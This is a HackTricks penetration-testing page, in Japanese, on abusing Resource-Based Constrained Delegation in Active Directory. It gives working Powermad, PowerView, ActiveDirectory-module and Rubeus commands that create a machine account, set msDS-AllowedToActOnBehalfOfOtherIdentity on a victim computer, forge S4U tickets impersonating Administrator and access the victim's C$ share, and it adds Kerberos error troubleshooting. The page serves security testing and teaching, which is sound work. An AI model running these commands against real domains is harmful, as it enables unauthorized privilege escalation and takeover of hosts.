hacktricks/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md

9.8 KiB
Raw Blame History

リソースベースの制約付き委任

{{#include ../../banners/hacktricks-training.md}}

リソースベースの制約付き委任の基本

これは基本的な Constrained Delegation に似ていますが、サービスに対して任意のユーザーを偽装するためのオブジェクトに権限を与えるのではなく、リソースベースの制約付き委任はそのオブジェクトに対して任意のユーザーを偽装できる者を設定します

この場合、制約付きオブジェクトには、任意の他のユーザーを偽装できるユーザーの名前を持つ msDS-AllowedToActOnBehalfOfOtherIdentity という属性があります。

この制約付き委任と他の委任との重要な違いは、マシンアカウントに対する書き込み権限 (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) を持つ任意のユーザーが msDS-AllowedToActOnBehalfOfOtherIdentity を設定できることです(他の委任の形式ではドメイン管理者の特権が必要でした)。

新しい概念

制約付き委任では、ユーザーの userAccountControl 値内の TrustedToAuthForDelegation フラグが S4U2Self を実行するために必要であると述べられていました。しかし、それは完全に真実ではありません。
実際には、その値がなくても、サービスSPNを持つであれば任意のユーザーに対して S4U2Self を実行できますが、TrustedToAuthForDelegation を持っている場合、返される TGS は Forwardable になります。もしそのフラグを持っていない場合、返される TGS は Forwardable ではありません。

ただし、S4U2Proxy で使用される TGSForwardable でない場合、基本的な制約付き委任を悪用しようとしても機能しません。しかし、リソースベースの制約付き委任を悪用しようとしている場合は、機能します(これは脆弱性ではなく、機能のようです)。

攻撃構造

コンピュータアカウントに対して書き込み同等の権限を持っている場合、そのマシンに特権アクセスを取得できます。

攻撃者がすでに被害者コンピュータに対して書き込み同等の権限を持っていると仮定します。

  1. 攻撃者はSPNを持つアカウントを侵害するか、作成します“Service A”。特に、特別な権限を持たない任意の Admin User は、最大10のコンピュータオブジェクトMachineAccountQuota)を作成し、SPNを設定できます。したがって、攻撃者はコンピュータオブジェクトを作成し、SPNを設定することができます。
  2. 攻撃者は、被害者コンピュータServiceBに対する書き込み権限を悪用して、リソースベースの制約付き委任を構成し、ServiceAがその被害者コンピュータServiceBに対して任意のユーザーを偽装できるようにします
  3. 攻撃者はRubeusを使用して、Service AからService Bへの完全なS4U攻撃S4U2SelfおよびS4U2Proxyを実行します。対象はService Bに特権アクセスを持つユーザーです。
    1. S4U2Self侵害または作成されたアカウントのSPNから私に対するAdministratorのTGSを要求しますForwardableではありません
    2. S4U2Proxy前のステップのForwardableでないTGSを使用して、被害者ホストに対するAdministratorTGSを要求します。
    3. ForwardableでないTGSを使用している場合でも、リソースベースの制約付き委任を悪用しているため、機能します
    4. 攻撃者はチケットをパスし、ユーザーを偽装して被害者ServiceBにアクセスします。

ドメインの MachineAccountQuota を確認するには、次のコマンドを使用できます:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

攻撃

コンピュータオブジェクトの作成

powermadを使用して、ドメイン内にコンピュータオブジェクトを作成できます。:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Resource-based Constrained Delegationの設定

activedirectory PowerShellモジュールを使用

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

PowerViewの使用

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

完全なS4U攻撃の実行

まず最初に、パスワード123456で新しいコンピュータオブジェクトを作成したので、そのパスワードのハッシュが必要です:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

このコマンドは、そのアカウントのRC4およびAESハッシュを出力します。
次に、攻撃を実行できます:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Rubeusの/altserviceパラメータを使用して、一度のリクエストでより多くのチケットを生成できます:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

Caution

ユーザーには「Cannot be delegated」という属性があります。この属性がTrueの場合、そのユーザーを偽装することはできません。このプロパティはbloodhound内で確認できます。

Accessing

最後のコマンドラインは、完全なS4U攻撃を実行し、管理者から被害者ホストにTGSをメモリ内に注入します。
この例では、管理者からCIFSサービスのTGSが要求されたため、**C$**にアクセスできるようになります。

ls \\victim.domain.local\C$

サービスチケットの悪用

利用可能なサービスチケットについてはこちらを学びましょう。

Kerberosエラー

  • KDC_ERR_ETYPE_NOTSUPP: これは、kerberosがDESまたはRC4を使用しないように構成されており、RC4ハッシュのみを提供していることを意味します。Rubeusに少なくともAES256ハッシュまたはRC4、AES128、AES256ハッシュをすべて提供を供給してください。例: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
  • KRB_AP_ERR_SKEW: これは、現在のコンピュータの時間がDCの時間と異なり、kerberosが正しく機能していないことを意味します。
  • preauth_failed: これは、指定されたユーザー名 + ハッシュがログインに機能していないことを意味します。ハッシュを生成する際にユーザー名に""を入れるのを忘れた可能性があります(`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER /domain:domain.local`)。
  • KDC_ERR_BADOPTION: これは以下を意味する可能性があります:
    • 偽装しようとしているユーザーが希望するサービスにアクセスできない(偽装できないか、十分な権限がないため)
    • 要求されたサービスが存在しないwinrmのチケットを要求したが、winrmが実行されていない場合
    • 作成されたfakecomputerが脆弱なサーバーに対する権限を失っており、それを戻す必要がある。

参考文献

{{#include ../../banners/hacktricks-training.md}}